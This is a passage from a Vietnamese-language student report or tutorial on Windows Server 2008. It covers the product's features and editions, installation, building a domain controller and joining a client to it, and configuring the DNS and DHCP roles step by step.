hết các loại phương tiện truyền thông có thể được sử dụng cho mục đích sao lưu.
Ngoài các ổ đĩa truyền thống băng, đĩa CD, DVD, lưu trữ và thậm chí loại bỏ
Network Attached Storage (NAS) thiết bị này là chấp nhận được. Sự lựa chọn của
bạn của phương tiện truyền thông sẽ phụ thuộc vào yêu cầu cụ thể của bạn sao lưu.
Tùy thuộc vào ngân sách của bạn và nhu cầu lưu giữ dữ liệu của bạn, bất kỳ trong
số này sẽ là một giải pháp chấp nhận được. Hãy chắc chắn rằng bạn có ít nhất một
bản sao lưu hàng tuần theo lịch trình, mặc dù hàng ngày sẽ tốt hơn.
9
CHƯƠNG 3:TỔNG QUAN VỀ WINDOWS SERVER 2008
I. GIỚI THIỆU WINDOWS SERVER 2008
Microsoft Windows Server 2008 là thế hệ kế tiếp của hệ điều hành Windows
Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở
hạ tầng của họ và cung cấp khả năng quản lý và hiệu lực chưa từng có, là sản phẩm
hơn hẳn trong việc đảm bảo độ an toàn, khả năng tin cậy và môi trường máy chủ
vững chắc hơn các phiên bản trước đây.
Windows Server 2008 cung cấp những giá trị mới cho các tổ chức bằng việc
bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các
dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội
bên trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên tăng
được thời gian hỗ trợ cho các doanh nghiệp.
Windows Server 2008 được thiết kế để cung cấp cho các tổ chức có được
nền tảng sản xuất tốt nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm
việc đến những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và
những cải thiện mạnh mẽ cho hệ điều hành cơ bản.
Cải thiện hệ điều hành cho máy chủ Windows.Thêm vào tính năng mới,
Windows Server 2008 cung cấp nhiều cải thiệm tốt hơn cho hệ điều hành cơ bản so
với hệ điều hành Windows Server 2003.
Những cải thiện có thể thấy được gồm có các vấn đề về mạng, các tính năng
bảo mật nâng cao, truy cập ứng dụng từ xa, quản lý role máy chủ tập trung, các
công cụ kiểm tra độ tin cậy và hiệu suất, nhóm chuyển đổi dự phòng, sự triển khai
và hệ thống file
II. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008
1. Công cụ quản trị Server Manager:
Server Manager là một giao diện điều khiển được thiết kế để tổ chức và quản
lý một server chạy hệ điều hành Windows Server 2008. Người quản trị có thể sử
dụng Server Manager với những nhiều mục đích khác nhau.
- Quản lý đồng nhất trên một server
- Hiển thị trạng thái hiện tại của server
10
- Nhận ra các vấn đề gặp phải đối với các role đã đƣợc cài đặt một cách dễ dàng
hơn
- Quản lý các role trên server, bao gồm việc thêm và xóa role
- Thêm và xóa bỏ các tính năng
- Chẩn đoán các dấu hiệu bất thường
- Cấu hình server: có 4 công cụ (Task Scheduler, Windows Firewall, Services và
WMI Control).
- Cấu hình sao lưu và lưu trữ: các công cụ giúp bạn sao lưu và quản lý ổ đĩa là
Windows Server Backup và Disk Management đều nằm trên Server Manager.
2. Windows Server Core:
- Server Core là một tính năng mới trong Windows Server 2008. Nó cho phép có
thể cài đặt với mục đích hỗ trợ đặc biệt và cụ thể đối với một số role.
- Tất cả các tương tác với Server Core được thông qua các dòng lệnh.
Server Core mang lại những lợi ích sau:
+Giảm thiểu được phần mềm, vì thế việc sử dụng dung lượng ổ đĩa cũng được
giảm. Chỉ tốn khoảng 1GB khi cài đặt.
+ Bởi vì giảm thiểu được phần mềm nên việc cập nhật cũng không nhiều.
+ Giảm thiểu tối đa những hành vi xâm nhập vào hệ thống thông qua các port được
mở mặc định.
+ Dễ dàng quản lý.
- Server Core không bao gồm tất cả các tính năng có sẵn trong những phiên bản cài
đặt Server khác. Ví dụ như .NET Framework hoặc Internet Explorer.
3. PowerShell:
- PowerShell là một tập hợp lệnh. Nó kết nối những dòng lệnh shell với một ngôn
ngữ script và thêm vào đó hơn 130 công cụ dòng lệnh(được gọi là cmdlets).Hiện
tại, có thể sử dụng PowerShell trong:
+ Exchange Server
+ SQL Server
+ Terminal Services
+ Active Directory Domain Services.
+ Quản trị các dịch vụ, xử lý và registry.
11
- Mặc định, Windows PowerShell chưa được cài đặt. Tuy nhiên bạn có thể cài đặt
nó một cách dễ dàng bằng cách sử dụng công cụ quản trị Server Manager và chọn
Features > Add Features
4. Windows Deloyment Services:
- Windows Deployment Services được tích hợp trong Windows Server 2008 cho
phép bạn cài đặt hệ điều hành từ xa cho các máy client mà không cần phải cài đặt
trực tiếp. WDS cho phép bạn cài đặt từ xa thông qua Image lấy từ DVD cài đặt.
Ngoài ra, WDS còn hỗ trợ tạo Image từ 1 máy tính đã cài đặt sẵn Windows và đầy
đủ các ứng dụng khác.
- Windows Deployment Serviece sử dụng định dạng Windows Image (WIM). Một
cải tiến đặc biệt với WIM so với RIS là WIM có thể làm việc tốt với nhiều nền tảng
phần cứng khác nhau.
5. Terminal Services:
- Terminal Services là một thành phần chính trên Windows Server 2009 cho phép
user có thể truy cập vào server để sử dụng những phần mềm.
- Terminal Services giúp người quản trị triển khai và bảo trì hệ thống phần mềm
trong doanh nghiệp một cách hiệu quả. Người quản trị có thể cài đặt các chương
trình phần mềm lên Terminal Server mà không cần cài đặt trên hệ thống máy client,
vì thế việc cập nhật và bảo trì phần mềm trở nên dễ dàng hơn.
- Terminal Services cung cấp 2 sự khác biệt cho người quản trị và người dùng cuối
- Dành cho người quản trị: cho phép quản trị có thể kết nối từ xa hệ thống quản trị
bằng việc sử dụng Remote Desktop Connection hoặc Remote Desktop.
- Dành cho người dùng cuối: cho phép người dùng cuối có thể chạy các chương
trình từ Terminal Services server.
6. Network Access Protection:
- Network Access Protection (NAP) là một hệ thống chính sách thi hành
(Health Policy Enforcement) được xây dựng trong các hệ điều hành Windows
Server 2008.
- Cơ chế thực thi của NAP:
+ Kiểm tra tình trạng an toàn của client.
+ Giới hạn truy cập đối với các máy client không an toàn.
12
+ NAP sẽ cập nhật những thành phần cần thiết cho các máy client không an toàn,
cho đến khi client đủ điều kiện an toàn.Cho phép client kết nối nếu client đã thỏa
điều kiện.
+ NAP giúp bảo vệ hệ thống mạng từ các client.
+ NAP cung cấp bộ thư viên API (Application Programming Interface), cho phép
các nhà
quản trị lập trình nhằm tăng tính bảo mật cho mình
7. Read-Only Domain Controllers:
Read-Only Domain Controller (RODC) là một kiểu Domain Controller mới
trên Windows Server 2008.Với RODC, doanh nghiệp có thể dễ dàng triển khai các
Domain Controller ở những nơi mà sự bảo mật không được đảm bảo về bảo mật.
RODC là một phần dữ liệu của Active Directory Domain Services.
Vì RODC là một phần dữ liệu của ADDS nên nó lưu trữ mọi đối tượng,
thuộc tính và các chính sách giống như domain controller, tuy nhiên mật khẩu thì bị
ngoại trừ.
8. Công nghệ Failover Clustering:
Clustering là công nghệ cho phép sử dụng hai hay nhiều server kết hợp với
nhau để tạo thành một cụm server để tăng cường tính ổn định trong vận hành.Nếu
server này ngưng hoạt động thì server khác trong cụm sẽ đảm nhận nhiệm vụ mà
server ngưng hoạt động đó đang thực hiện nhằm mục đích hoạt động của hệ thống
vẫn bình thường.Quá trình chuyên giao gọi là fail-over.
Những phiên bản sau hỗ trợ:
Windows Server 2008 Enterprise
Windows Server 2008 Datacenter
Windows Server 2008 Itanium
9. Windows Firewall with Advance Security:
Windows Firewall with Advance Security cho phép người quản trị có thể
cấu hình đa dạng và nâng cao để tăng cường tính bảo mật cho hệ thống.
Windows Firewall with Advance Security có những điểm mới:
Kiểm soát chặt chẽ các kết nối vào và ra trên hệ thống (inbound và
outbound)
13
IPsec được thay thế bằng khái niệm Connection Security Rule, giúp bạn có
thể kiểm soát và quản lý các chính sách, đồng thời giám sát trên firewall. Kết hợp
với Active Directory.
Hỗ trợ đầy đủ IPv6.
III. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008
1. Công nghệ ảo hóa Hyper-V:
Hyper-V là công nghệ ảo hóa server thế hệ mới của Microsoft, sự thay đổi lớn nhất
mà Microsoft mang lại so với phiên bản Windows Server 2003. Hyper-V hoạt động
trên nền hệ điều hành 64-bit. Với Hyper-V,người sử dụng có thể sở hữu một nền
tảng ảo hóa linh hoạt, bảo mật, tối đa hiệu suất và tiết kiệm chi phí:
Hyper-V có thể thích nghi với doanh nghiệp lớn với hàng nghìn máy tính
hoặc các doanh nghiệp nhỏ hay văn phòng chi nhánh. Hyper-V hỗ trợ bộ nhớ ảo lên
đến 64GB, đa bộ vi xử lý.
Khả năng bảo mật giống như các server vật lý. Kết hợp các cộng cụ bảo mật
Windows Firewall, Network Access Protection…
do đó tính bảo mật tốt như môi trường thật.
Hyper-V giúp khai thác tối đa hiệu suất sử dụng phần cứng server. Bằng việc
hợp nhất server, cho phép một server vật lý có thể đóng nhiều vai trò của nhiều
server. Từ đó, tiết kiệm được chi phí từ các khoảng mua server, điện, không gian và
bảo trì.
Hyper-V chỉ có thể hỗ trợ đến 32 bộ vi xử lý.
2. Processor Compatibility Mode:
Cho phép di trú các máy ảo sang một máy chủ vật lý khác với một phiên bản
CPU khác (nhưng không phải là CPU của nhà sản xuất khác). Trước đây, để
chuyển một máy ảo Hyper-V sang một phần cứng khác, các CPU phải giống nhau,
điều đó yêu cầu người dùng thường phải mua lại phần cứng mới.
3. File Classification Infrastructure:
FCI là một tính năng built-in cho phép các chuyên gia CNTT phân loại và
quản lý dữ liệu trong các máy chủ file. Dữ liệu có thể được phân loại với tác động
doanh nghiệp mức thấp, cao hoặc trung bình, sau đó người dùng có thể backup các
dữ liệu quan trọng nhất dễ dàng hơn và hiệu quả hơn.
14
4. Quản lý trong ỗ đĩa và file:
Cung cấp khả năng thay đổi kich thước phân vùng.
Shadow Copy hỗ trợ ổ đĩa quang, ổ đĩa mạng.
Distributed File System được cải tiến.
Cải tiến Failover Clustering.
Internet Storage Naming Server cho phép đăng ký, hủy đăng ký tập trung và
truy xuất tới các ổ đĩa cứng iSCS.
5. Cải tiến giao thức và mã hóa
o Hỗ trợ mã hóa 128 và 256 bit cho giao thức chứng thực Keberos.
o Hàm API mã hóa mới hỗ trợ mã hóa vòng elip và cải tiến quản lý chứng chỉ.
o Giao thức VPN mới Secure Socket Tunneling Protocol.
o AuthIP được sử dụng trong mạng VPN Ipsec.
o Giao thức Server Message Block 2.0 cung cấp các cải tiến trong truyền
thông.
6. Một số tính năng khác
Windows Deployment Services thay thế cho Automated Deployment
Services và Remote Installation Services.
IIS 7 thay thế IIS 6, tăng cường khả năng bảo mật, cải tiến công cụ chuẩn
đoán, hỗ trợ quản lý.
Có thành phầ "Desktop Experience" cung cấp khả năng cải tiến giao diện.
IV. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008
Windows Server 2008 mang đến lợi ích trong bốn lĩnh vực:Web, Ảo hóa,
Bảo mật, Nền tảng vững chắc cho các hoạt động của tổ chức
1. Web:
Windows Server 2008 cung cấp một nền tảng đồng nhất để triển khai dịch
vụ Web nhờ tích hợp IIS7.0,ASP.NET,Windows Communication Foundation và
Microsoft Windows SharePoint Services.
Lợi ich của IIS 7.0:
Tinh năng phân tích
Quản trị hiệu quả.
Nâng cao tính bảo mật.
15
Giảm chi phí hỗ trợ.
Giao diện thân thiện và tiện dụng
Hỗ trợ việc sao chép giữa các site.
Copy dễ dàng các thiết lập của trang web giữa các máy chủ web khác nhau
mà không cần phải thiết lập gì thêm.
Chính sách phân quyền quản trị các ứng dụng và các site rõ ràng
2. Ảo hóa :
Phiên bản 64 bit của Windows Server 2008 được tích hợp sẵn công nghệ ảo hóa
hypervisor :
Cho phép máy ảo tương tác trực tiếp với phần cứng máy chủ hiệu quả hơn.
Có khả năng ảo hóa nhiều hệ điều hành khác nhau trên cùng 1 phần cứng
máy chủ sẽ làm giảm chi phí, tăng hiệu suất sử dụng phần cứng, tối ưu hóa hạ tầng,
nâng cao tính sẵn sàng của máy chủ.
Tiết kiệm chi phí mua sắm bản quyền phần mềm.
Tich hợp và tập trung các ứng dụng phục vụ cho việc truy cập từ xa một
cách dễ dàng bằng cách sử dụng Terminal Services.
3. Bảo mật:
Các tính năng an ninh bao gồm: Network Access Protection, Read-Only Domain
Controller, BitLocker, Windows Firewall… cung cấp các mức bảo vệ chưa từng có
cho hệ thống mạng, dữ liệu và công việc của tổ chức.
3.1. Network Access Protection (NAP):
NAP dùng để thiết lập chính sách mạng đối với các máy trạm khi máy trạm
đó muốn kết nối váo hệ thống mạng của tổ chức. Yêu cầu an ninh đối với máy trạm
được kết nối với hệ thống mạng:
Đã cài đặt phầm mềm diệt virus.
Đã cập nhật phiên bản mới.
Đã cài đặt các bản và lỗi hệ thống hoặc đã cài đặt phần mềm firewall.
3.2. Read-Only Domain Controller (RODC):
Là một kiểu Domain Controller (DC).
- RODC chứa một bản sao các dữ liệu "chỉ đọc" của dữ liệu Active Directory
(AD).
16
- User không thẻ ghi trực tiếp vào RODC.
- RODC không chứa thông tin về mật khẩu trong AD, mà chỉ caching các
users được phép sử dụng ở đó.
RODC thích hợp cho việc triển khai ở các chi nhánh, nơi có điều kiện bảo mật
kém cũng như trình độ của nhân viên IT còn hạn chế.
3.3. BitLocker:
o Bảo vệ an toàn cho máy chủ, máy trạm, máy tính di động.
o Mã hóa nội dung của ổ đĩa nhằm ngăn cản
o Nâng cao khả năng bảo vệ dữ liệu: kết hợp chức năng mã hóa tập tin hệ
thống và kiểm tra tinh toàn vẹn của các thành phần khi boot.
o Toàn bộ tập tin hệ thống được mã hóa, gồm cả file swap và file hibernation.
3.4. Windows Firewall:
Ngăn chặn các lưu lượng mạng theo cấu hình và các ứng dụng dạng chạy để
bảo vệ mạng khỏi các chương trình và người dùng nguy hiểm.
Hỗ trợ ngăn chặn các thông tin vào và ra.
Sử dụng MMC snap-in ( Windows Firewall with Adbanced Security) để đơn
giản hóa việc cấu hình, quản trị.
V. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008
1. Windows Server 2008:
ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý.2. Windows Server 2008 Standard Edition
Windows Server 2008 Standard là một trong những phiên bản ít tốn kém
nhất của các phiên bản khác nhau có sẵn. Windows Server 2008 Stardard hỗ trợ tới
4GB RAM và 4 bộ vi xử lý
Chủ yếu nhắm mục tiêu và các doanh nghiệp vừa và nhỏ. Chỉ có thể nâng
cấp lên Windows Server 2008 Standard từ Windows 2000 Server và Windows
Server 2003 Standard Edition.
3. Windows Server 2008 Enterprise Edition
Windows Server 2008 Enterprise Edition cung cấp chức năng lớn hơn và có
khả năng mở rộng hơn so với bản tiêu chuẩn.
17
Cũng như phiên bản Standard Edition thì phiên bản Enterprise cũng có cả
hai phiên bản 32-bit và 64-bit. Hỗ trợ 8 bộ xử lý và lên tới 64GB bộ nhớ RAM trên
hệ thống 32-bit và 2TB RAM trên hệ thống 64-bit.
Các tính năng khác của ấn bản Doanh nghiệp bao gồm hỗ trợ Clustering đến
8 nút và Active Directory Federated Services (AD FS).
Các phiên bản Windows Server 2000, Windows 2000 Advanced Server,
Windows Server 2003 Standard Edition và Windows Server 2003 Enterprise
Edition đều có thể được nâng cấp lên Windows Server 2008 Enterprise Edition.
4. Windows Server 2008 Datacenter Edition
Phiên bản Datacenter đại diện cuối cùng của loạt sản phẩm máy chủ
Windows 2008 và mục tiêu là nhiệm vụ quan trọng đòi hỏi các doanh nghiệp ổn
định và mức độ thời gian hoạt động cao. Windows Server 2008 phiên bản
Datacenter là liên hệ chặt chẽ với các phần cứng cơ bản thông qua việc thực hiện
tùy chỉnh Hardware Abstraction Layer (HAL).
Windows server 2008 Datacenter cũng hỗ trợ hai phiên bản 32 bit và 64 bit.
Nó hỗ trợ 64GB bộ nhớ RAM trên nền 32 bit và lên tới 2TB RAM trên nền 64 bít.
Ngoài ra phiên bản này còn hỗ trợ tối thiểu là 8 bộ vi xử lý và tối đa là 64.
Để nâng cấp lên phiên bản này thì phải là các phiên bản Datacenter 2000 và
2003.
5. Windows Web Server 2008
Windows Web Server 2008 là một phiên bản của Windows Server 2008
được thiết kế chủ yếu cho mục đích cung cấp các dịch vụ web.
Nó bao gồm Internet Information Services (IIS) 7,0 cùng với các dịch vụ liên quan
như Simple Mail Transfer Protocol (SMTP) và Telnet. Nó cũng có các phiên bản
32-bit và 64-bit, phiên bản và hỗ trợ lên đến 4 bộ vi xử lý. RAM được giới hạn
4GB và 32GB trên 32-bit và 64-bit hệ thống tương ứng.
Windows Web Server 2008 thiếu nhiều tính năng hiện diện trong các phiên
bản khác như phân nhóm,mã hóa ổ đĩa BitLocker, Multi I/O,Windows Internet
Naming Service (WINS),Removable Storage Management và SAN Management.
18
CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008
I. YÊU CẦU PHẦN CỨNG:1 Máy server có c u hìnhấ
Phần cứng Yêu cầu tối thiểu Đề nghị
Bộ vi xử lý 1 Ghz (x86), 1,4 Ghz (x64) 2Ghz hoặc lớn hơn
RAM 512MB RAM 2GB
Dung lượng
trống
15GB 40GB
Windows Server 2008 hỗ trợ cả 2 cấu trúc vi xử lý 32-bit và 64-bit. Tuy
nhiên, phiên bản mới nhất là Windows Server 2008 R2, Windows Midmarket
Server và Windows Small Business với những tính năng đa dịch vụ, các phiên bản
này chỉ hỗ trợ cấu trúc vi xử lý 64-bit.
RAM hỗ trợ tối đa cho hệ thống 32-bit là 4GB khi chạy phiên bản
Standard Edition và 64GB khi chạy phiên bản Enterprise và Datacenter. Nếu
chạy hệ thống 64-bit, bộ nhớ RAM có thể hỗ trợ lên dến 32GB và 2TB RAM cho
phiên bản Enterprise và Datacenter.
Thêm vào đó, Windows Server 2008
hỗ trợ hệ thống Itanium, tuy nhiên chip xử lí Intel Itanium 2 nhân là cần
thiết.
II. CÁC CÁCH CÀI ĐẶTCó 6 cách cài đặt Windows Server 2008
Tự cài đặt các nâng cấp
Cài đặt từ kịch bản
Sử dụng Sconfig
Visual Core Configurator 2008
Cài đặt bằng cách sử dụng Core Configurator 2.0
Cài đặt trực tiếp từ đĩa CD Windows Server 2008
Ở đây mình sẽ cài đặt trực tiếp từ đĩa CD Windows Server 2008
III. NÂNG CẤP LÊN WINDOWS SERVER 2008:Những phiên bản trước Nâng cấp lên Windows Server 2008
19
Microsoft Windows Server 2003 R2
Standard, Enterprise hoặc
DatacenterEdition
Hỗ trợ đầy đủ
Microsoft Windows Server 2003
Service Pack 1(SP1) Standard,
Enterprise hoặc Datacenter Edition
Hỗ trợ đầy đủ
Microsoft Windows Server 2003
Service Pack 2 (SP2) Standard,
Enterprise hoặc Datacenter Edition
Hỗ trợ đầy đủ
Windows NT 4.0 Không hỗ trợ
Windows 2000 Server Không hỗ trợ
Windows 2000 Server Không hỗ trợ
Windows Vista Không hỗ trợ
Windows 7 Không hỗ trợ
Để nâng cấp lên phiên bản Windows Server 2008, cần phải chạy các hệ điều
hành ở cấp độ server. Không thể nâng cấp các phiên bản Windows dành cho người
dùng như Windows XP hoặc Windows Vista lên Windows Server 2008.
Để nâng cấp lên Windows Server 2008, hệ thống của bạn phải chạy
Windows Server 2003. Việc nâng cấp từ Windows NT 4.0 và Windows 2000
Server không được hỗ trợ. Việc nâng cấp từ những phiên bản Windows Server
2003 lên phiên bản Windows Server 2008 Server Core không được hỗ trợ. Việc
nâng cấp chỉ thực hiện được ở những phiên bản giống nhau. Khi nâng cấp lên phiên
bản Windows Server 2008, mọi cấu hình thiết lập, file và các chương trình đều
được giữ lại
IV. CÀI ĐẶT WINDOWS SERVER 2008Đặt đĩa CD vào ổ đĩa, khởi động lại máy tính và bắt đầu tiến hành quá trình cài đặt.
20
Hình 4.1.chọn ngôn ngữ, múi giờ..
Language to instalk : ngôn ngữ bạn muốn hiển thị.
Time and currency format : định dạng thời gian và tiền tệ.
Keyboard or input method : định dạng bàn phím và phương thức nhập chữ.Sau
khi lựa chọn, click Next để tiếp tục cài đặt. Click Install now để bắt đầu cài đặt.
Lựa chọn phiên bản cài đặt.
Hình 4.2 Lựa chọn phiên bản để cài đặt.
Lựa chọn phiên bản Windows Server thích hợp, ở đây chúng ta chọn phiên
bản Windows Server Standard without Hyper-V. Click Next để tiếp tục.
21
Tại bảng MICROSOFT PRE-RELEASE SOFTWARE LICENSE TERMS
là những điều khoản sử dụng sản phẩm của Microsoft. Đánh dấu chọn vào I accept
the license terms để chấp nhận những điều khoản đó và click Next để tiếp tục.
Hình 4.3 lựa chọn upgrade hoặc custom
Chọn Custom (advaneced) để tiến hành cài đặt tùy chọn.
Hình 4.4 Chọn ổ đỉa để cài đặt.
Tiếp theo là chọn ổ đĩa để cài dặt Windows. Tiếp tục click Next sau khi đã chọn ổ
đĩa cài đặt.
22
Hình 4.5 windows đang được cài đặt.
Đợi cho đến khi hoàn tất cài đặt Windows Server 2008, đây là giao diện windows
server 2008 khi cài xong.
Hình 4.6 Giao diện windows server 2008
23
CHƯƠNG 5: DỰNG DOMAIN CONTROLLER & JOIN DOMAIN:
I.Dựng Domain:Giống như Windows Server 2003 sẽ vẫn cần chạy dcpromo từ nhắc lệnh
Run, tuy nhiên cần phải cài đặt Active Directory Domain Controller role, đầu
tiên bạn cài đặt role, sau đó chạy dcpromo.Vào Server ManagerRolesAdd
Roles
Hình 5.1 cửa sổ server manager.
Xuất hiện trang Before You Begin, nhấn Next để tiếp tục.
Chọn Active Directory Domain ServicesAdd Required Features để cài đặt
thêm các tính năng này với Active Directory Server Role. Sau khi chọn Active
Directory DC Server Role, bạn sẽ thấy các thông tin về Server Role.
Kích Install để cài đặt các file yêu cầu nhằm chạy dcpromo
Hình 5.2 các dịch vụ sẽ được cài thêm khi click install.
24
Cài đặt được thực hiện thành công. Kích Close.
Hình 5.3 hoàn tất quá trình cài đặt
Trong bài này, chúng ta sẽ sử dụng 2 máy.
PC1: Là máy sử dụng Windows Server 2008.
PC2: Là máy sử dụng Client sử dụng Windows XP.
Quá trình cài đặt sẽ trải qua 2 bước chính:
Bước 1: Chỉnh Preferred DNS
- Ở bước này chúng ta sẽ chỉnh Preferred DNS về chính máy tính của chúng ta, ở
đây là ip 192.168.1.1.
Hình 5.4 Cấu hình địa chỉ IP cho máy server.
Trong trường hợp giả sử chúng ta quên làm bước này, thì quá trình nâng cấp
vẫn diễn ra bình thường, và Windows sẽ tự chỉnh Preferred DNS về địa chỉ
192.168.1.1 Nhưng tốt nhất các bạn nên làm bước chỉnh này
25
Bước 2: Nâng cấp lên Domain Controller
- Bạn vào Start-> Chọn Run, gõ dcpromo và Enter
Thao tác này sẽ khởi chạy Welcome to the Active Directory Domain
Service Installation Wizard. Kích Next.
Hình 5.5 cửa sổ active directory domain services installation wizard
Sau đó tiếp tục nhấn Next.
Trong trang Choose a Deployment Configuration Create a new domain in a
new forest..
Hình 5.6 lựa chọn domain đã có hoặc tạo mới.
Trong trang Name the Forest Root Domain, nhập vào tên của miền trong hộp
nhập liệu FQDN of the forest room domain.Nhấn Next để tiếp tục.
26
Hình 5.7 nhập tên domain muốn tạo.
Nhấn Next để tiếp tục.
Trong trang Set Forest Functional Level, chọn Windows Server 2008. Nhấn Next
để tiếp tục.
Hình 5.8 lựa chọn phiên bản phù hợp với windows server đang sử dụng.
Trong trang Additional Domain Controller Options, Chọn DNS server và kích
Next.
Một hộp thoại sẽ xuất hiện nói răng không thể tạo đại biểu cho máy chủ
DNS này vì không thể tìm thấy vùng xác thực hoặc nó không chạy Windows DNS
server. Lý do cho điều này là vì đây là DC đầu tiên trên mạng. Nhấn Next để tiếp
tục.
27
Để lại thư mục Database, Log Files và SYSVOL ,kích Next.
Hình 5.9 chọn thư mục để lưu database, log files, sysvol.
Trong Directory Service Restore Mode Administrator Password, nhập
một mật khẩu mạnh vào các hộp nhập liệu Password và Confirm password.
Hình 5.10 Đặt password cho tài khoảng administrator.
Xác nhận các thông tin trên trang Summary và kích Next.
Active Directory sẽ cài đặt. Đặt một dấu kiểm vào hộp chọn Reboot on
completion để máy tính sẽ tự động khởi động lại khi cài đặt DC được hoàn tất.
Hình 5.11 Activ Directory đang được cài đặt
II. Join Domain:
28
Chỉnh ip của máy Windows 7 sao cho cùng địa chỉ của lớp mà ta đã chọn ở
máy Server. Gateway và DNS trỏ về địa chỉ ip của máy Server.
Hình 5.12 Cấu hình địa chỉ IP cho máy XP
Vào Start click phải computer chọn properties. Chọn computer name -> change
settings.
Hình 5.13 Nhập tên domain máy XP muốn join
Sau đó nhập Username và password máy server 2008.
Click OK.
Hình 5.14 Thông báo join domain thành công.
29
CHƯƠNG 6: TRIỂN KHAI CÁC DỊCH VỤ MẠNG:
I. DỊCH VỤ DNS:
1. Giới thiệu về DNS:DNS (Domain Name System) Server là máy chủ được dùng để phân giải
domain thành địa chỉ IP và ngược lại. Về cách thức hoạt động, DNS Server lưu trữ
một cơ sở dữ liệu bao gồm các bản ghi DNS và dịch vụ lắng nghe các yêu cầu.Khi
máy client gửi yêu cầu phân giải đến, DNS Server tiến hành tra cứu trong cơ sở dữ
liệu và gửi kết quả tương ứng về máy client.
2. Cài đặt DNS:Vào Server Manager Roles Add Roles.Tại bảng Select Server Roles, chọn
DNS Server
Hình 6.I.1 lựa chọn dịch vụ để cài đặt.
- Sau đó nhấn Next để tiếp tục
- Chọn Instal. Tại bảng Confirm Installation Selections xác nhận việc cài đặt.
- Chọn Close để hoàn tất cài đặt.
Hình 6.I.2 Quá trình cài đặt hoàn tất.
30
3. Cấu hình DNS:
- Đối với DNS Server,thông thường nên xây dựng đồng thời hai hệ thống là DNS
Server chính (Primary) và DNS Server dự phòng (Secondary) dùng chung một cơ
sở dữ liệu. Với phương pháp này,sẽ hạn chế khả năng dịch vụ DNS bị ngưng khi có
sự cố xảy ra trên hệ thống.
- Vào Start Administrative Tools DNS.
- Nhấp chuột phải vào Forward Lookup Zones và chọn New Zone.
Hình 6.I.3 Tạo zone phân giải tên miền
- Trong New Zone Wizard chọn next,
- Tại bảng Zone Type chọn Primary zone để cấu hình DNS Server chính.
- Chọn Next. Tại bảng Zone Name gõ tên domain vào.
Hình 6.I.4 Đặt tên miền
- Chọn Next. Tại bảng Zone File, ta chọn alow both nonsecure and secure dynamic
updates. Chọn Next.
- Chọn Next. Tại bảng Completing the New Zone Wizard xem lại thông tin.
- Sau đó chọn Finish để hoàn tất.
31
- Nhấp chuột phải vào ReverseLookup Zones và chọn New Zone.
Hình 6.I.5 tạo zone phân giải IP
- Tại bảng Welcome to the New Zone Wizard chọn Next.
- Tại bảng Zone Type chọn Primary zone để cấu hình chức năng reverse cho DNS
Server chính.
- Chọn Next.Tại bảng Reverse Lookup Zone Name chọn kiểu IP cần phân giải. Ở
đây chọn IPv4.
- Chọn Next. Điền Network ID và chọn Next.
Hình 6.I.6 Nhập đường mạng phân giải
- Tại bảng Zone File để mặc định. Chọn Next.
- Tại bảng Dynamic Update chọn Allow both nonsecure dynamic updates.
- Chọn Next và xem lại thông tin thiết lập, và sau đó chọn Finish để kết thúc.
Bổ sung các bản ghi DNS vào DNS Server
- Start Administrative Tools DNS. Nhấp chuột phải vào zone và chọn
New
32
- Gõ tên host vào mục Name, gõ địa chỉ IP vào mục IP address. Nếu muốn tạo ra
một bản ghi DNS phân giải ngược tương ứng thì đánh dấu chọn Create associated
pointer (PTR) record.
Hình 6.I.7 nhập tên và địa chỉ ip để phân giải
- Sau đó chọn Add Host.Xuất hiện thông báo thành công.
Hình 6.I.8 thông báo add host thành công
- Tương tự ta tạo thêm new host máy win xp.
Kiểm tra bằng cách vào start -> run -> CMD. Cửa sổ CMD hiện lên ta gõ nslookup.
Hình 6.I.9 phân giải tên miền thành công
33
II. GIỚI THIỆU DỊCH VỤ DHCP:
Dịch vụ DHCP cho phép chúng ta cấp động các thông số cấu hình mạng cho các
máy trạm.(client).
Cơ chế sử dụng các thông số mạng được cấp phát động có ưu điểm hơn so với cơ
chế khai báo tĩnh các thông số mạng như:
Khắc phục được tình trạng đụng địa chỉ IP và giảm chi phí quản trị cho hệ thống
mạng.Giúp cho các nhà cung cấp dịch vụ (ISP) tiết kiệm được số lượng địa chỉ IP
thật (Public IP).Phù hợp cho các máy tính thường xuyên di chuyển qua lại giữa các
mạng.Kết hợp với hệ thống mạng không dây (Wireless) cung cấp các điểm Hotspot
như: nhà ga, sân bay, trường học…
1. Hoạt động của giao thức:Giao thức DHCP làm việc theo mô hình client/server.Khi máy client khởi
động, máy sẽ gửi broadcast gói tin DHCPDISCOVER, yêu cầu một server phục vụ
mình. Gói tin này cũng chứa địa chỉ MAC của máy client.Các máy Server trên
mạng khi nhận được gói tin yêu cầu đó, nếu còn khả năng cung cấp địa chỉ IP, đều
gửi lại cho máy Client gói tin DHCPOFFER, đề nghị cho thuê một địa chỉ IP trong
một khoản thời gian nhất định, kèm theo là một subnet mask và địa chỉ của Server.
2. Cài đặt trên windows server 2008:
- Vào Server Manger Roles Add Roles.
Nhấn Nexttrong mục Roles chọn “DHCP Server”. Nhấn Next.
Hình 6.II.1 chọn dịch vụ để cài đặt
34
Trong bảng này giới thiệu về DHCP và các điểm cần lưu ý Things to Note. Tiếp
tục nhấn Next.
Chọn card mạng sử dụng dịch vụ này ở đây chúng ta chỉ có một card mạng nên tiếp
tục nhấn Next nhấn Next.
Hình 6.II.2 Chọn card mạng để cấp IP
- Trong mục “Parent Domain” điền tên domain và điền IP DNS server ở mục
“Preferred DNS…” và nhấn Validate để kiểm tra và xác nhận tồn tại và tiếp tục
nhấn Next.
Hình 6.II.3 điền domain và địa chỉ máy DNS
Tiếp tục nhấn next
Trong Bảng Configure DHCPv6 Stateless Mode ta chọn Disable DHCPv6
stateless mode for this server và bấm Next
35
Hình 6.II.4 Tắt chế độ cấp IPv6
